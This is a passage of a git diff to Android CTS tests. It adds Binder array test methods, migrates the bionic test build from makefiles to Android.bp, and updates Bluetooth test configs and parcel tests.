@@ -38,16 +38,6 @@
 
 public class TestImpl extends ITest.Stub {
   @Override
-  public int getInterfaceVersion() {
-    return this.VERSION;
-  }
-
-  @Override
-  public String getInterfaceHash() {
-    return this.HASH;
-  }
-
-  @Override
   protected void dump(FileDescriptor fd, PrintWriter pw, String[] args) {
     for (String arg : args) {
       pw.print(arg);
@@ -302,6 +292,18 @@
     return out;
   }
 
+  @Override
+  public IBinder[] RepeatBinderArray(IBinder[] in_value, IBinder[] repeated) {
+    System.arraycopy(in_value, 0, repeated, 0, in_value.length);
+    return in_value;
+  }
+
+  @Override
+  public IEmpty[] RepeatInterfaceArray(IEmpty[] in_value, IEmpty[] repeated) {
+    System.arraycopy(in_value, 0, repeated, 0, in_value.length);
+    return in_value;
+  }
+
   public java.util.List<String> Repeat2StringList(java.util.List<String> in_value, java.util.List<String> repeated) {
     repeated.addAll(in_value);
     repeated.addAll(in_value);
@@ -371,6 +373,16 @@
   }
 
   @Override
+  public IBinder[] RepeatNullableBinderArray(IBinder[] in_value) {
+    return in_value;
+  }
+
+  @Override
+  public IEmpty[] RepeatNullableInterfaceArray(IEmpty[] in_value) {
+    return in_value;
+  }
+
+  @Override
   public String[] DoubleRepeatNullableStringArray(String[] in_value, String[] repeated) {
     if (in_value == null) {
       return null; // can't do anything to repeated
@@ -455,6 +467,10 @@
   @Override
   public IBinder getICompatTest() {
     return new CompatTest();
+  }
 
+  @Override
+  public IBinder getLegacyBinderTest() {
+    return new ILegacyBinder.Stub();
   }
 }
diff --git a/tests/tests/bionic/Android.bp b/tests/tests/bionic/Android.bp
new file mode 100644
index 0000000..a0458d7
--- /dev/null
+++ b/tests/tests/bionic/Android.bp
@@ -0,0 +1,235 @@
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+    name: "CtsBionicTestCases",
+
+    compile_multilib: "both",
+
+    cflags: [
+        "-Wall",
+        "-Werror",
+    ],
+
+    ldflags: [
+        "-Wl,--rpath,$ORIGIN/bionic-loader-test-libs",
+        "-Wl,--enable-new-dtags",
+        "-Wl,--export-dynamic",
+    ],
+
+    shared_libs: [
+        "ld-android",
+        "libdl",
+        "libdl_android",
+        "libdl_preempt_test_1",
+        "libdl_preempt_test_2",
+        "libdl_test_df_1_global",
+        "libtest_elftls_shared_var",
+        "libtest_elftls_tprel",
+    ],
+
+    whole_static_libs: [
+        "libBionicTests",
+        "libBionicLoaderTests",
+        "libBionicElfTlsLoaderTests",
+        "libBionicCtsGtestMain",
+    ],
+
+    static_libs: [
+        "libbase",
+        "libmeminfo",
+        "libziparchive",
+        "libtinyxml2",
+        "liblog",
+        "libz",
+        "libutils",
+        "libgtest",
+        "libLLVMObject",
+        "libLLVMBitReader",
+        "libLLVMMC",
+        "libLLVMMCParser",
+        "libLLVMCore",
+        "libLLVMSupport",
+    ],
+
+    // Use the bootstrap version of bionic because some tests call private APIs
+    // that aren't exposed by the APEX bionic stubs.
+    bootstrap: true,
+
+    stl: "libc++_static",
+
+    test_suites: [
+        "cts",
+        "general-tests",
+        "mts-mainline-infra",
+    ],
+
+    data_bins: [
+        "cfi_test_helper",
+        "cfi_test_helper2",
+        "elftls_dlopen_ie_error_helper",
+        "exec_linker_helper",
+        "exec_linker_helper_lib",
+        "heap_tagging_async_helper",
+        "heap_tagging_disabled_helper",
+        "heap_tagging_static_async_helper",
+        "heap_tagging_static_disabled_helper",
+        "heap_tagging_static_sync_helper",
+        "heap_tagging_sync_helper",
+        "ld_config_test_helper",
+        "ld_config_test_helper_lib1",
+        "ld_config_test_helper_lib2",
+        "ld_config_test_helper_lib3",
+        "ld_preload_test_helper",
+        "ld_preload_test_helper_lib1",
+        "ld_preload_test_helper_lib2",
+        "ns_hidden_child_helper",
+        "preinit_getauxval_test_helper",
+        "preinit_syscall_test_helper",
+        "thread_exit_cb_helper",
+        "tls_properties_helper",
+    ],
+
+    data_libs: [
+        "libatest_simple_zip",
+        "libcfi-test",
+        "libcfi-test-bad",
+        "libdl_preempt_test_1",
+        "libdl_preempt_test_2",
+        "libdl_test_df_1_global",
+        "libdlext_test",
+        "libdlext_test_different_soname",
+        "libdlext_test_fd",
+        "libdlext_test_norelro",
+        "libdlext_test_recursive",
+        "libdlext_test_zip",
+        "libgnu-hash-table-library",
+        "libns_hidden_child_app",
+        "libns_hidden_child_global",
+        "libns_hidden_child_internal",
+        "libns_hidden_child_public",
+        "libnstest_dlopened",
+        "libnstest_ns_a_public1",
+        "libnstest_ns_a_public1_internal",
+        "libnstest_ns_b_public2",
+        "libnstest_ns_b_public3",
+        "libnstest_private",
+        "libnstest_private_external",
+        "libnstest_public",
+        "libnstest_public_internal",
+        "libnstest_root",
+        "libnstest_root_not_isolated",
+        "librelocations-ANDROID_REL",
+        "librelocations-ANDROID_RELR",
+        "librelocations-RELR",
+        "librelocations-fat",
+        "libsegment_gap_inner",
+        "libsegment_gap_outer",
+        "libsysv-hash-table-library",
+        "libtest_atexit",
+        "libtest_check_order_dlsym",
+        "libtest_check_order_dlsym_1_left",
+        "libtest_check_order_dlsym_2_right",
+        "libtest_check_order_dlsym_3_c",
+        "libtest_check_order_dlsym_a",
+        "libtest_check_order_dlsym_b",
+        "libtest_check_order_dlsym_d",
+        "libtest_check_order_reloc_root",
+        "libtest_check_order_reloc_root_1",
+        "libtest_check_order_reloc_root_2",
+        "libtest_check_order_reloc_siblings",
+        "libtest_check_order_reloc_siblings_1",
+        "libtest_check_order_reloc_siblings_2",
+        "libtest_check_order_reloc_siblings_3",
+        "libtest_check_order_reloc_siblings_a",
+        "libtest_check_order_reloc_siblings_b",
+        "libtest_check_order_reloc_siblings_c",
+        "libtest_check_order_reloc_siblings_c_1",
+        "libtest_check_order_reloc_siblings_c_2",
+        "libtest_check_order_reloc_siblings_d",
+        "libtest_check_order_reloc_siblings_e",
+        "libtest_check_order_reloc_siblings_f",
+        "libtest_check_rtld_next_from_library",
+        "libtest_dlopen_df_1_global",
+        "libtest_dlopen_from_ctor",
+        "libtest_dlopen_from_ctor_main",
+        "libtest_dlopen_weak_undefined_func",
+        "libtest_dlsym_df_1_global",
+        "libtest_dlsym_from_this",
+        "libtest_dlsym_from_this_child",
+        "libtest_dlsym_from_this_grandchild",
+        "libtest_dlsym_weak_func",
+        "libtest_dt_runpath_a",
+        "libtest_dt_runpath_b",
+        "libtest_dt_runpath_c",
+        "libtest_dt_runpath_d",
+        "libtest_dt_runpath_x",
+        "libtest_dt_runpath_y",
+        "libtest_elftls_dynamic",
+        "libtest_elftls_dynamic_filler_1",
+        "libtest_elftls_dynamic_filler_2",
+        "libtest_elftls_dynamic_filler_3",
+        "libtest_elftls_shared_var",
+        "libtest_elftls_shared_var_ie",
+        "libtest_elftls_tprel",
+        "libtest_empty",
+        "libtest_ifunc",
+        "libtest_ifunc_variable",
+        "libtest_ifunc_variable_impl",
+        "libtest_indirect_thread_local_dtor",
+        "libtest_init_fini_order_child",
+        "libtest_init_fini_order_grand_child",
+        "libtest_init_fini_order_root",
+        "libtest_init_fini_order_root2",
+        "libtest_invalid-empty_shdr_table",
+        "libtest_invalid-local-tls",
+        "libtest_invalid-rw_load_segment",
+        "libtest_invalid-textrels",
+        "libtest_invalid-textrels2",
+        "libtest_invalid-unaligned_shdr_offset",
+        "libtest_invalid-zero_shdr_table_content",
+        "libtest_invalid-zero_shdr_table_offset",
+        "libtest_invalid-zero_shentsize",
+        "libtest_invalid-zero_shstrndx",
+        "libtest_missing_symbol",
+        "libtest_missing_symbol_child_private",
+        "libtest_missing_symbol_child_public",
+        "libtest_missing_symbol_root",
+        "libtest_nodelete_1",
+        "libtest_nodelete_2",
+        "libtest_nodelete_dt_flags_1",
+        "libtest_pthread_atfork",
+        "libtest_relo_check_dt_needed_order",
+        "libtest_relo_check_dt_needed_order_1",
+        "libtest_relo_check_dt_needed_order_2",
+        "libtest_simple",
+        "libtest_thread_local_dtor",
+        "libtest_thread_local_dtor2",
+        "libtest_two_parents_child",
+        "libtest_two_parents_parent1",
+        "libtest_two_parents_parent2",
+        "libtest_versioned_lib",
+        "libtest_versioned_libv1",
+        "libtest_versioned_libv2",
+        "libtest_versioned_otherlib",
+        "libtest_versioned_otherlib_empty",
+        "libtest_versioned_uselibv1",
+        "libtest_versioned_uselibv2",
+        "libtest_versioned_uselibv2_other",
+        "libtest_versioned_uselibv3_other",
+        "libtest_with_dependency",
+        "libtest_with_dependency_loop",
+        "libtest_with_dependency_loop_a",
+        "libtest_with_dependency_loop_b",
+        "libtest_with_dependency_loop_c",
+        "libtestshared",
+    ],
+
+    data: [
+        ":libdlext_test_runpath_zip_zipaligned",
+        ":libdlext_test_zip_zipaligned",
+    ],
+
+    per_testcase_directory: true,
+}
diff --git a/tests/tests/bionic/Android.build.copy.libs.mk b/tests/tests/bionic/Android.build.copy.libs.mk
deleted file mode 100644
index 628eeed..0000000
--- a/tests/tests/bionic/Android.build.copy.libs.mk
+++ /dev/null
@@ -1,203 +0,0 @@
-LOCAL_PATH := $(call my-dir)
-
-cts_bionic_tests_dir := lib32
-lib_or_lib64 := lib
-
-ifeq (true,$(TARGET_IS_64_BIT))
-  ifeq (,$(cts_bionic_tests_2nd_arch_prefix))
-    cts_bionic_tests_dir := lib64
-    lib_or_lib64 := lib64
-  endif
-endif
-
-# TODO(dimitry): Can this list be constructed dynamically?
-my_bionic_testlib_files := \
-  cfi_test_helper/cfi_test_helper \
-  cfi_test_helper2/cfi_test_helper2 \
-  dt_runpath_a/libtest_dt_runpath_a.so \
-  dt_runpath_b_c_x/libtest_dt_runpath_b.so \
-  dt_runpath_b_c_x/libtest_dt_runpath_c.so \
-  dt_runpath_b_c_x/libtest_dt_runpath_x.so \
-  dt_runpath_y/$(lib_or_lib64)/libtest_dt_runpath_y.so \
-  elftls_dlopen_ie_error_helper/elftls_dlopen_ie_error_helper \
-  exec_linker_helper/exec_linker_helper \
-  exec_linker_helper_lib.so \
-  heap_tagging_async_helper/heap_tagging_async_helper \
-  heap_tagging_disabled_helper/heap_tagging_disabled_helper \
-  heap_tagging_static_sync_helper/heap_tagging_static_sync_helper \
-  heap_tagging_static_async_helper/heap_tagging_static_async_helper \
-  heap_tagging_static_disabled_helper/heap_tagging_static_disabled_helper \
-  heap_tagging_sync_helper/heap_tagging_sync_helper \
-  inaccessible_libs/libtestshared.so \
-  inaccessible_libs/libtestshared.so \
-  ld_config_test_helper/ld_config_test_helper \
-  ld_config_test_helper_lib3.so \
-  ld_preload_test_helper/ld_preload_test_helper \
-  ld_preload_test_helper_lib1.so \
-  ld_preload_test_helper_lib2.so \
-  libatest_simple_zip/libatest_simple_zip.so \
-  libcfi-test-bad.so \
-  libcfi-test.so \
-  libdl_preempt_test_1.so \
-  libdl_preempt_test_2.so \
-  libdl_test_df_1_global.so \
-  libdlext_test.so \
-  libdlext_test_different_soname.so \
-  libdlext_test_fd/libdlext_test_fd.so \
-  libdlext_test_norelro.so \
-  libdlext_test_recursive.so \
-  libdlext_test_runpath_zip/libdlext_test_runpath_zip_zipaligned.zip \
-  libdlext_test_zip/libdlext_test_zip.so \
-  libdlext_test_zip/libdlext_test_zip_zipaligned.zip \
-  libgnu-hash-table-library.so \
-  libns_hidden_child_global.so \
-  libns_hidden_child_internal.so \
-  libns_hidden_child_public.so \
-  librelocations-fat.so \
-  librelocations-ANDROID_RELR.so \
-  librelocations-ANDROID_REL.so \
-  librelocations-RELR.so \
-  libsegment_gap_inner.so \
-  libsegment_gap_outer.so \
-  libsysv-hash-table-library.so \
-  libtest_atexit.so \
-  libtest_check_order_dlsym.so \
-  libtest_check_order_dlsym_1_left.so \
-  libtest_check_order_dlsym_2_right.so \
-  libtest_check_order_dlsym_3_c.so \
-  libtest_check_order_dlsym_a.so \
-  libtest_check_order_dlsym_b.so \
-  libtest_check_order_dlsym_d.so \
-  libtest_check_order_reloc_root.so \
-  libtest_check_order_reloc_root_1.so \
-  libtest_check_order_reloc_root_2.so \
-  libtest_check_order_reloc_siblings.so \
-  libtest_check_order_reloc_siblings_1.so \
-  libtest_check_order_reloc_siblings_2.so \
-  libtest_check_order_reloc_siblings_3.so \
-  libtest_check_order_reloc_siblings_a.so \
-  libtest_check_order_reloc_siblings_b.so \
-  libtest_check_order_reloc_siblings_c.so \
-  libtest_check_order_reloc_siblings_c_1.so \
-  libtest_check_order_reloc_siblings_c_2.so \
-  libtest_check_order_reloc_siblings_d.so \
-  libtest_check_order_reloc_siblings_e.so \
-  libtest_check_order_reloc_siblings_f.so \
-  libtest_check_rtld_next_from_library.so \
-  libtest_dlopen_df_1_global.so \
-  libtest_dlopen_from_ctor.so \
-  libtest_dlopen_from_ctor_main.so \
-  libtest_dlopen_weak_undefined_func.so \
-  libtest_dlsym_df_1_global.so \
-  libtest_dlsym_from_this.so \
-  libtest_dlsym_from_this_child.so \
-  libtest_dlsym_from_this_grandchild.so \
-  libtest_dlsym_weak_func.so \
-  libtest_dt_runpath_d.so \
-  libtest_elftls_dynamic.so \
-  libtest_elftls_dynamic_filler_1.so \
-  libtest_elftls_dynamic_filler_2.so \
-  libtest_elftls_dynamic_filler_3.so \
-  libtest_elftls_shared_var.so \
-  libtest_elftls_shared_var_ie.so \
-  libtest_elftls_tprel.so \
-  libtest_empty.so \
-  libtest_ifunc.so \
-  libtest_ifunc_variable.so \
-  libtest_ifunc_variable_impl.so \
-  libtest_indirect_thread_local_dtor.so \
-  libtest_init_fini_order_child.so \
-  libtest_init_fini_order_grand_child.so \
-  libtest_init_fini_order_root.so \
-  libtest_init_fini_order_root2.so \
-  libtest_nodelete_1.so \
-  libtest_nodelete_2.so \
-  libtest_nodelete_dt_flags_1.so \
-  libtest_pthread_atfork.so \
-  libtest_relo_check_dt_needed_order.so \
-  libtest_relo_check_dt_needed_order_1.so \
-  libtest_relo_check_dt_needed_order_2.so \
-  libtest_simple.so \
-  libtest_thread_local_dtor.so \
-  libtest_thread_local_dtor2.so \
-  libtest_two_parents_child.so \
-  libtest_two_parents_parent1.so \
-  libtest_two_parents_parent2.so \
-  libtest_versioned_lib.so \
-  libtest_versioned_libv1.so \
-  libtest_versioned_libv2.so \
-  libtest_versioned_otherlib.so \
-  libtest_versioned_otherlib_empty.so \
-  libtest_versioned_uselibv1.so \
-  libtest_versioned_uselibv2.so \
-  libtest_versioned_uselibv2_other.so \
-  libtest_versioned_uselibv3_other.so \
-  libtest_with_dependency.so \
-  libtest_with_dependency_loop.so \
-  libtest_with_dependency_loop_a.so \
-  libtest_with_dependency_loop_b.so \
-  libtest_with_dependency_loop_b_tmp.so \
-  libtest_with_dependency_loop_c.so \
-  ns2/ld_config_test_helper_lib1.so \
-  ns2/ld_config_test_helper_lib2.so \
-  ns_a/libnstest_ns_a_public1.so \
-  ns_a/libnstest_ns_a_public1_internal.so \
-  ns_b/libnstest_ns_b_public2.so \
-  ns_b/libnstest_ns_b_public3.so \
-  ns_hidden_child_app/libns_hidden_child_app.so \
-  ns_hidden_child_helper/ns_hidden_child_helper \
-  prebuilt-elf-files/libtest_invalid-empty_shdr_table.so \
-  prebuilt-elf-files/libtest_invalid-rw_load_segment.so \
-  prebuilt-elf-files/libtest_invalid-textrels.so \
-  prebuilt-elf-files/libtest_invalid-textrels2.so \
-  prebuilt-elf-files/libtest_invalid-unaligned_shdr_offset.so \
-  prebuilt-elf-files/libtest_invalid-zero_shdr_table_content.so \
-  prebuilt-elf-files/libtest_invalid-zero_shdr_table_offset.so \
-  prebuilt-elf-files/libtest_invalid-zero_shentsize.so \
-  prebuilt-elf-files/libtest_invalid-zero_shstrndx.so \
-  preinit_getauxval_test_helper/preinit_getauxval_test_helper \
-  preinit_syscall_test_helper/preinit_syscall_test_helper \
-  private_namespace_libs/libnstest_dlopened.so \
-  private_namespace_libs/libnstest_private.so \
-  private_namespace_libs/libnstest_root.so \
-  private_namespace_libs/libnstest_root_not_isolated.so \
-  private_namespace_libs/libtest_missing_symbol_child_private.so \
-  private_namespace_libs/libtest_missing_symbol_root.so \
-  private_namespace_libs_external/libnstest_private_external.so \
-  public_namespace_libs/libnstest_public.so \
-  public_namespace_libs/libnstest_public_internal.so \
-  public_namespace_libs/libtest_missing_symbol.so \
-  public_namespace_libs/libtest_missing_symbol_child_public.so \
-
-my_bionic_testlibs_src_dir := \
-  $($(cts_bionic_tests_2nd_arch_prefix)TARGET_OUT_DATA_NATIVE_TESTS)/bionic-loader-test-libs
-my_bionic_testlibs_out_dir := $(cts_bionic_tests_dir)/bionic-loader-test-libs
-
-LOCAL_COMPATIBILITY_SUPPORT_FILES += \
-  $(foreach lib, $(my_bionic_testlib_files), \
-    $(my_bionic_testlibs_src_dir)/$(lib):$(my_bionic_testlibs_out_dir)/$(lib))
-
-# Special casing for libtest_dt_runpath_y.so. Since we use the standard ARM CTS
-# to test ARM-on-x86 devices where ${LIB} is expanded to lib/arm, the lib
-# is installed to ./lib/arm as well as ./lib to make sure that the lib can be
-# found on any device.
-archname := $(TARGET_ARCH)
-ifneq (,$(cts_bionic_tests_2nd_arch_prefix))
-  archname := $(TARGET_2ND_ARCH)
-endif
-
-src := $(my_bionic_testlibs_src_dir)/dt_runpath_y/$(lib_or_lib64)/libtest_dt_runpath_y.so
-dst := $(my_bionic_testlibs_out_dir)/dt_runpath_y/$(lib_or_lib64)/$(archname)/libtest_dt_runpath_y.so
-
-LOCAL_COMPATIBILITY_SUPPORT_FILES += $(src):$(dst)
-
-my_bionic_testlib_files :=
-my_bionic_testlibs_src_dir :=
-my_bionic_testlibs_out_dir :=
-cts_bionic_tests_dir :=
-cts_bionic_tests_2nd_arch_prefix :=
-lib_or_lib64 :=
-archname :=
-src :=
-dst :=
-
diff --git a/tests/tests/bionic/Android.mk b/tests/tests/bionic/Android.mk
deleted file mode 100644
index 09c5519..0000000
--- a/tests/tests/bionic/Android.mk
+++ /dev/null
@@ -1,66 +0,0 @@
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CtsBionicTestCases
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA)/nativetest
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-LOCAL_CFLAGS := -Wall -Werror
-
-LOCAL_LDFLAGS := -Wl,--rpath,\$${ORIGIN}/lib/bionic-loader-test-libs -Wl,--enable-new-dtags -Wl,--export-dynamic
-
-LOCAL_SHARED_LIBRARIES += \
-    ld-android \
-    libdl \
-    libdl_android \
-    libdl_preempt_test_1 \
-    libdl_preempt_test_2 \
-    libdl_test_df_1_global \
-    libtest_elftls_shared_var \
-    libtest_elftls_tprel \
-
-LOCAL_WHOLE_STATIC_LIBRARIES += \
-    libBionicTests \
-    libBionicLoaderTests \
-    libBionicElfTlsLoaderTests \
-    libBionicCtsGtestMain \
-
-LOCAL_STATIC_LIBRARIES += \
-    libbase \
-    libmeminfo \
-    libziparchive \
-    libtinyxml2 \
-    liblog \
-    libz \
-    libutils \
-    libgtest \
-    libLLVMObject \
-    libLLVMBitReader \
-    libLLVMMC \
-    libLLVMMCParser \
-    libLLVMCore \
-    libLLVMSupport \
-
-LOCAL_SYSTEM_SHARED_LIBRARIES := libc.bootstrap libm.bootstrap libdl.bootstrap
-
-LOCAL_CXX_STL := libc++_static
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests mts
-
-LOCAL_CTS_TEST_PACKAGE := android.bionic
-
-cts_bionic_tests_2nd_arch_prefix :=
-include $(LOCAL_PATH)/Android.build.copy.libs.mk
-ifneq ($(TARGET_TRANSLATE_2ND_ARCH),true)
-  ifneq ($(TARGET_2ND_ARCH),)
-    cts_bionic_tests_2nd_arch_prefix := $(TARGET_2ND_ARCH_VAR_PREFIX)
-    include $(LOCAL_PATH)/Android.build.copy.libs.mk
-  endif
-endif
-
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/tests/tests/bionic/AndroidTest.xml b/tests/tests/bionic/AndroidTest.xml
index c83983d..8a98554 100644
--- a/tests/tests/bionic/AndroidTest.xml
+++ b/tests/tests/bionic/AndroidTest.xml
@@ -26,8 +26,6 @@
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
         <option name="cleanup" value="true" />
         <option name="push" value="CtsBionicTestCases->/data/local/tmp/CtsBionicTestCases" />
-        <option name="push" value="lib->/data/local/tmp/lib" />
-        <option name="append-bitness" value="true" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.GTest" >
         <option name="native-test-device-path" value="/data/local/tmp" />
diff --git a/tests/tests/bluetooth/Android.bp b/tests/tests/bluetooth/Android.bp
index ee27a18..eb6e0e0 100644
--- a/tests/tests/bluetooth/Android.bp
+++ b/tests/tests/bluetooth/Android.bp
@@ -23,6 +23,7 @@
         "ctstestrunner-axt",
         "bluetooth-test-util-lib",
         "compatibility-device-util-axt",
+        "PlatformProperties",
     ],
     libs: [
         "android.test.runner",
diff --git a/tests/tests/bluetooth/AndroidManifest.xml b/tests/tests/bluetooth/AndroidManifest.xml
index 7b702d7..e624d2b 100644
--- a/tests/tests/bluetooth/AndroidManifest.xml
+++ b/tests/tests/bluetooth/AndroidManifest.xml
@@ -20,7 +20,7 @@
     <uses-permission android:name="android.permission.BLUETOOTH" />
     <uses-permission android:name="android.permission.BLUETOOTH_ADMIN" />
     <uses-permission android:name="android.permission.BLUETOOTH_ADVERTISE"/>
-    <uses-permission android:name="android.permission.BLUETOOTH_CONNECT"/>
+    <!-- <uses-permission android:name="android.permission.BLUETOOTH_CONNECT"/> -->
     <uses-permission android:name="android.permission.BLUETOOTH_SCAN"/>
     <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
     <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
diff --git a/tests/tests/bluetooth/OWNERS b/tests/tests/bluetooth/OWNERS
index 7e7c217..d7667c5 100644
--- a/tests/tests/bluetooth/OWNERS
+++ b/tests/tests/bluetooth/OWNERS
@@ -1,2 +1,8 @@
 # Bug component: 27441
+
+rahulsabnis@google.com
+sattiraju@google.com
+siyuanh@google.com
+sungsoo@google.com
+wescande@google.com
 zachoverflow@google.com
diff --git a/tests/tests/bluetooth/TEST_MAPPING b/tests/tests/bluetooth/TEST_MAPPING
index f349b92..0df5768 100644
--- a/tests/tests/bluetooth/TEST_MAPPING
+++ b/tests/tests/bluetooth/TEST_MAPPING
@@ -3,5 +3,10 @@
     {
       "name": "CtsBluetoothTestCases"
     }
+  ],
+  "hwasan-postsubmit": [
+    {
+      "name": "CtsBluetoothTestCases"
+    }
   ]
 }
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/AdvertiseDataTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/AdvertiseDataTest.java
index 54ca1a6..13b0ca2 100644
--- a/tests/tests/bluetooth/src/android/bluetooth/cts/AdvertiseDataTest.java
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/AdvertiseDataTest.java
@@ -17,11 +17,16 @@
 package android.bluetooth.cts;
 
 import android.bluetooth.le.AdvertiseData;
+import android.bluetooth.le.TransportDiscoveryData;
+import android.bluetooth.le.TransportBlock;
 import android.os.Parcel;
 import android.os.ParcelUuid;
 import android.test.AndroidTestCase;
 import android.test.suitebuilder.annotation.SmallTest;
 
+import java.util.ArrayList;
+import java.util.List;
+
 /**
  * Unit test cases for {@link AdvertiseData}.
  * <p>
@@ -178,6 +183,40 @@
     }
 
     @SmallTest
+    public void testTransportDiscoveryData() {
+        Parcel parcel = Parcel.obtain();
+        ParcelUuid uuid = ParcelUuid.fromString("0000110A-0000-1000-8000-00805F9B34FB");
+        List<TransportBlock> transportBlocks = new ArrayList();
+        transportBlocks.add(new TransportBlock(1, 0, 4, new byte[] {
+                (byte) 0xF0, 0x00, 0x02, 0x15 }));
+        TransportDiscoveryData discoveryData = new TransportDiscoveryData(0, transportBlocks);
+        AdvertiseData data =
+                mAdvertiseDataBuilder.setIncludeDeviceName(true)
+                        .addTransportDiscoveryData(discoveryData).build();
+        data.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        AdvertiseData dataFromParcel =
+                AdvertiseData.CREATOR.createFromParcel(parcel);
+
+        assertEquals(discoveryData.getTransportDataType(),
+                dataFromParcel.getTransportDiscoveryData().get(0).getTransportDataType());
+
+        assertEquals(discoveryData.getTransportBlocks().get(0).getOrgId(),
+                dataFromParcel.getTransportDiscoveryData().get(0).getTransportBlocks().get(0).getOrgId());
+
+        assertEquals(discoveryData.getTransportBlocks().get(0).getTdsFlags(),
+                dataFromParcel.getTransportDiscoveryData().get(0).getTransportBlocks().get(0).getTdsFlags());
+
+        assertEquals(discoveryData.getTransportBlocks().get(0).totalBytes(),
+                dataFromParcel.getTransportDiscoveryData().get(0).getTransportBlocks().get(0).totalBytes());
+
+        TestUtils.assertArrayEquals(discoveryData.toByteArray(),
+                dataFromParcel.getTransportDiscoveryData().get(0).toByteArray());
+
+        assertEquals(data, dataFromParcel);
+    }
+
+    @SmallTest
     public void testIncludeTxPower() {
         Parcel parcel = Parcel.obtain();
         AdvertiseData data = mAdvertiseDataBuilder.setIncludeTxPowerLevel(true).build();
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/AdvertisingSetParametersTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/AdvertisingSetParametersTest.java
new file mode 100644
index 0000000..a6ec271
--- /dev/null
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/AdvertisingSetParametersTest.java
@@ -0,0 +1,249 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.bluetooth.cts;
+
+import static android.bluetooth.BluetoothDevice.PHY_LE_1M;
+import static android.bluetooth.BluetoothDevice.PHY_LE_2M;
+import static android.bluetooth.BluetoothDevice.PHY_LE_CODED;
+import static android.bluetooth.le.AdvertisingSetParameters.INTERVAL_LOW;
+import static android.bluetooth.le.AdvertisingSetParameters.INTERVAL_MAX;
+import static android.bluetooth.le.AdvertisingSetParameters.INTERVAL_MEDIUM;
+import static android.bluetooth.le.AdvertisingSetParameters.INTERVAL_MIN;
+import static android.bluetooth.le.AdvertisingSetParameters.TX_POWER_MAX;
+import static android.bluetooth.le.AdvertisingSetParameters.TX_POWER_MEDIUM;
+import static android.bluetooth.le.AdvertisingSetParameters.TX_POWER_MIN;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.bluetooth.le.AdvertisingSetParameters;
+import android.os.Parcel;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class AdvertisingSetParametersTest {
+
+    @Test
+    public void testCreateFromParcel() {
+        final Parcel parcel = Parcel.obtain();
+        try {
+            AdvertisingSetParameters params = new AdvertisingSetParameters.Builder().build();
+            params.writeToParcel(parcel, 0);
+            parcel.setDataPosition(0);
+            AdvertisingSetParameters paramsFromParcel =
+                    AdvertisingSetParameters.CREATOR.createFromParcel(parcel);
+            assertParamsEquals(params, paramsFromParcel);
+        } finally {
+            parcel.recycle();
+        }
+    }
+
+    @Test
+    public void testDefaultParameters() {
+        AdvertisingSetParameters params = new AdvertisingSetParameters.Builder().build();
+
+        assertFalse(params.isConnectable());
+        assertFalse(params.isScannable());
+        assertFalse(params.isLegacy());
+        assertFalse(params.isAnonymous());
+        assertFalse(params.includeTxPower());
+        assertEquals(PHY_LE_1M, params.getPrimaryPhy());
+        assertEquals(PHY_LE_1M, params.getSecondaryPhy());
+        assertEquals(INTERVAL_LOW, params.getInterval());
+        assertEquals(TX_POWER_MEDIUM, params.getTxPowerLevel());
+    }
+
+    @Test
+    public void testIsConnectable() {
+        AdvertisingSetParameters params = new AdvertisingSetParameters.Builder()
+                .setConnectable(true)
+                .build();
+        assertTrue(params.isConnectable());
+    }
+
+    @Test
+    public void testIsScannable() {
+        AdvertisingSetParameters params = new AdvertisingSetParameters.Builder()
+                .setScannable(true)
+                .build();
+        assertTrue(params.isScannable());
+    }
+
+    @Test
+    public void testIsLegacyMode() {
+        AdvertisingSetParameters params = new AdvertisingSetParameters.Builder()
+                .setLegacyMode(true)
+                .build();
+        assertTrue(params.isLegacy());
+    }
+
+    @Test
+    public void testIncludeTxPower() {
+        AdvertisingSetParameters params = new AdvertisingSetParameters.Builder()
+                .setIncludeTxPower(true)
+                .build();
+        assertTrue(params.includeTxPower());
+    }
+
+    @Test
+    public void testSetPrimaryPhyWithInvalidValue() {
+        try {
+            // Set invalid value
+            new AdvertisingSetParameters.Builder().setPrimaryPhy(PHY_LE_2M);
+            fail();
+        } catch (IllegalArgumentException e) {
+            // expected
+        }
+    }
+
+    @Test
+    public void testSetPrimaryPhyWithLE1M() {
+        AdvertisingSetParameters params = new AdvertisingSetParameters.Builder()
+                .setPrimaryPhy(PHY_LE_1M)
+                .build();
+        assertEquals(PHY_LE_1M, params.getPrimaryPhy());
+    }
+
+    @Test
+    public void testSetPrimaryPhyWithLECoded() {
